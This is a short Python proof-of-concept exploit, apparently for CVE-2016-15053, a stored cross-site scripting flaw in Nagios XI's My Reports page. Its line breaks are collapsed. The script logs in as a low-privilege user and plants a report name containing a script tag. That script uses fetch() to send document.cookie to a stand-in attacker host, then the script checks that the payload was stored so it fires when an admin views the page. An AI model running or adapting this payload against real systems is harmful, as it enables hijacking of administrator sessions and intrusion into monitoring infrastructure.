CVE-2016-15053

import requests import re # CVE-2016-15053 PoC - Nagios XI Stored XSS in My Reports # Target: Nagios XI < 5.2.4 TARGET_URL = "http://target-nagios-xi.local" USERNAME = "lowpriv_user" PASSWORD = "password123" session = requests.Session() # Step 1: Login to Nagios XI login_url = f"{TARGET_URL}/nagiosxi/login.php" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) print(f"[+] Login attempt: {response.status_code}") # Step 2: Create a report with XSS payload create_report_url = f"{TARGET_URL}/nagiosxi/reports/myreports.php" xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' report_data = { "action": "create", "report_name": xss_payload, "report_type": "availability" } response = session.post(create_report_url, data=report_data) print(f"[+] Report created with XSS payload: {response.status_code}") # Step 3: Verify XSS is stored verify_url = f"{TARGET_URL}/nagiosxi/reports/myreports.php" response = session.get(verify_url) if xss_payload in response.text: print("[+] XSS payload successfully stored in My Reports") else: print("[-] XSS payload not found in response") print("[+] PoC complete. When admin views My Reports, XSS will execute.")

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